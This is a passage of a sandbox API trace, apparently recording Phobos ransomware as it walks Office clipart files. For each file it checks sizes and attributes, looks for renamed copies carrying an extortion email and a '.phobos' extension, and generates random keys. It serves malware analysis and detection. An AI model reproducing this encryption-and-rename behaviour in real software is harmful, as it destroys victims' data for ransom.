office\\root\\clipart\\pub60cor\\sy01253_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0154.610] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x411fa90 | out: pbBuffer=0x411fa90) returned 1 [0154.610] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SY01462_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\sy01462_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x368 [0154.610] GetFileSizeEx (in: hFile=0x368, lpFileSize=0x411fa30 | out: lpFileSize=0x411fa30*=806) returned 1 [0154.610] CloseHandle (hObject=0x368) returned 1 [0154.619] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SY01462_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\sy01462_.wmf")) returned 0x220 [0154.620] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SY01462_.WMF.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\sy01462_.wmf.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0154.620] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SY01462_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\sy01462_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0154.620] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x411fa90 | out: pbBuffer=0x411fa90) returned 1 [0154.620] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SY01491_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\sy01491_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x368 [0154.621] GetFileSizeEx (in: hFile=0x368, lpFileSize=0x411fa30 | out: lpFileSize=0x411fa30*=1136) returned 1 [0154.621] CloseHandle (hObject=0x368) returned 1 [0154.621] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SY01491_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\sy01491_.wmf")) returned 0x220 [0154.621] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SY01491_.WMF.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\sy01491_.wmf.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0154.621] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SY01491_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\sy01491_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0154.621] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x411fa90 | out: pbBuffer=0x411fa90) returned 1 [0154.621] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SY01563_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\sy01563_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x250 [0154.627] GetFileSizeEx (in: hFile=0x250, lpFileSize=0x411fa30 | out: lpFileSize=0x411fa30*=5060) returned 1 [0154.627] CloseHandle (hObject=0x250) returned 1 [0154.627] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SY01563_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\sy01563_.wmf")) returned 0x220 [0154.627] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SY01563_.WMF.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\sy01563_.wmf.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0154.627] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SY01563_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\sy01563_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0154.627] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x411fa90 | out: pbBuffer=0x411fa90) returned 1 [0154.627] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SY01572_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\sy01572_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x368 [0154.632] GetFileSizeEx (in: hFile=0x368, lpFileSize=0x411fa30 | out: lpFileSize=0x411fa30*=3304) returned 1 [0154.632] CloseHandle (hObject=0x368) returned 1 [0154.632] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SY01572_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\sy01572_.wmf")) returned 0x220 [0154.632] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SY01572_.WMF.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\sy01572_.wmf.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0154.633] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SY01572_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\sy01572_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0154.633] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x411fa90 | out: pbBuffer=0x411fa90) returned 1 [0154.633] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SY01590_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\sy01590_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x368 [0154.633] GetFileSizeEx (in: hFile=0x368, lpFileSize=0x411fa30 | out: lpFileSize=0x411fa30*=13198) returned 1 [0154.633] CloseHandle (hObject=0x368) returned 1 [0154.633] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SY01590_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\sy01590_.wmf")) returned 0x220 [0154.633] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SY01590_.WMF.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\sy01590_.wmf.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0154.634] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SY01590_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\sy01590_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0154.634] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x411fa90 | out: pbBuffer=0x411fa90) returned 1 [0154.634] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\TAIL.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\tail.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x250 [0154.637] GetFileSizeEx (in: hFile=0x250, lpFileSize=0x411fa30 | out: lpFileSize=0x411fa30*=2230) returned 1 [0154.637] CloseHandle (hObject=0x250) returned 1 [0154.637] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\TAIL.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\tail.wmf")) returned 0x220 [0154.637] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\TAIL.WMF.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\tail.wmf.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0154.638] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\TAIL.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\tail.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0154.638] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x411fa90 | out: pbBuffer=0x411fa90) returned 1 [0154.638] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\TN00011_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\tn00011_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x250 [0154.638] GetFileSizeEx (in: hFile=0x250, lpFileSize=0x411fa30 | out: lpFileSize=0x411fa30*=48610) returned 1 [0154.639] CloseHandle (hObject=0x250) returned 1 [0154.639] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\TN00011_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\tn00011_.wmf")) returned 0x220 [0154.639] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\TN00011_.WMF.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\tn00011_.wmf.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0154.639] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\TN00011_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\tn00011_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0154.639] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x411fa90 | out: pbBuffer=0x411fa90) returned 1 [0154.639] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\TN00014_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\tn00014_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x250 [0154.640] GetFileSizeEx (in: hFile=0x250, lpFileSize=0x411fa30 | out: lpFileSize=0x411fa30*=7518) returned 1 [0154.640] CloseHandle (hObject=0x250) returned 1 [0154.640] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\TN00014_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\tn00014_.wmf")) returned 0x220 [0154.640] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\TN00014_.WMF.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\tn00014_.wmf.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0154.640] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\TN00014_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\tn00014_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0154.640] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x411fa90 | out: pbBuffer=0x411fa90) returned 1 [0154.640] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\TN00018_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\tn00018_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x250 [0154.641] GetFileSizeEx (in: hFile=0x250, lpFileSize=0x411fa30 | out: lpFileSize=0x411fa30*=9276) returned 1 [0154.641] CloseHandle (hObject=0x250) returned 1 [0154.641] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\TN00018_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\tn00018_.wmf")) returned 0x220 [0154.641] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\TN00018_.WMF.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\tn00018_.wmf.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0154.641] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\TN00018_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\tn00018_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0154.641] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x411fa90 | out: pbBuffer=0x411fa90) returned 1 [0154.641] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\TN00095_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\tn00095_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x250 [0154.642] GetFileSizeEx (in: hFile=0x250, lpFileSize=0x411fa30 | out: lpFileSize=0x411fa30*=5978) returned 1 [0154.642] CloseHandle (hObject=0x250) returned 1 [0154.642] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\TN00095_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\tn00095_.wmf")) returned 0x220 [0154.642] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\TN00095_.WMF.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\tn00095_.wmf.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0154.642] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\TN00095_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\tn00095_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0154.642] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x411fa90 | out: pbBuffer=0x411fa90) returned 1 [0154.642] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\TN00211_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\tn00211_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x250 [0154.643] GetFileSizeEx (in: hFile=0x250, lpFileSize=0x411fa30 | out: lpFileSize=0x411fa30*=7186) returned 1 [0154.643] CloseHandle (hObject=0x250) returned 1 [0154.643] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\TN00211_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\tn00211_.wmf")) returned 0x220 [0154.643] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\TN00211_.WMF.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\tn00211_.wmf.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0154.643] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\TN00211_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\tn00211_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0154.643] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x411fa90 | out: pbBuffer=0x411fa90) returned 1 [0154.643] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\TN00217_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\tn00217_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x250 [0154.644] GetFileSizeEx (in: hFile=0x250, lpFileSize=0x411fa30 | out: lpFileSize=0x411fa30*=4644) returned 1 [0154.644] CloseHandle (hObject=0x250) returned 1 [0154.644] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\TN00217_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\tn00217_.wmf")) returned 0x220 [0154.645] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\TN00217_.WMF.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\tn00217_.wmf.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0154.645] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\TN00217_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\tn00217_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0154.645] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x411fa90 | out: pbBuffer=0x411fa90) returned 1 [0154.645] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\TN00218_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\tn00218_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x250 [0154.645] GetFileSizeEx (in: hFile=0x250, lpFileSize=0x411fa30 | out: lpFileSize=0x411fa30*=7104) returned 1 [0154.645] CloseHandle (hObject=0x250) returned 1 [0154.646] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\TN00218_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\tn00218_.wmf")) returned 0x220 [0154.646] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\TN00218_.WMF.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\tn00218_.wmf.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0154.646] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\TN00218_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\tn00218_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0154.646] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x411fa90 | out: pbBuffer=0x411fa90) returned 1 [0154.646] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\TN00231_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\tn00231_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x250 [0154.646] GetFileSizeEx (in: hFile=0x250, lpFileSize=0x411fa30 | out: lpFileSize=0x411fa30*=1848) returned 1 [0154.647] CloseHandle (hObject=0x250) returned 1 [0154.647] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\TN00231_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\tn00231_.wmf")) returned 0x220 [0154.647] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\TN00231_.WMF.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\tn00231_.wmf.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0154.647] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\TN00231_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\tn00231_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0154.647] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x411fa90 | out: pbBuffer=0x411fa90) returned 1 [0154.647] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\TN00234_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\tn00234_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x250 [0154.648] GetFileSizeEx (in: hFile=0x250, lpFileSize=0x411fa30 | out: lpFileSize=0x411fa30*=3176) returned 1 [0154.648] CloseHandle (hObject=0x250) returned 1 [0154.648] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\TN00234_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\tn00234_.wmf")) returned 0x220 [0154.648] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\TN00234_.WMF.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\tn00234_.wmf.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0154.649] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\TN00234_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\tn00234_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0154.649] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x411fa90 | out: pbBuffer=0x411fa90) returned 1 [0154.649] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\TN00241_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\tn00241_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x250 [0154.650] GetFileSizeEx (in: hFile=0x250, lpFileSize=0x411fa30 | out: lpFileSize=0x411fa30*=3980) returned 1 [0154.650] CloseHandle (hObject=0x250) returned 1 [0154.650] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\TN00241_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\tn00241_.wmf")) returned 0x220 [0154.650] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\TN00241_.WMF.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\tn00241_.wmf.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0154.650] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\TN00241_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\tn00241_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0154.650] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x411fa90 | out: pbBuffer=0x411fa90) returned 1 [0154.650] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\TN00246_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\tn00246_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x250 [0154.651] GetFileSizeEx (in: hFile=0x250, lpFileSize=0x411fa30 | out: 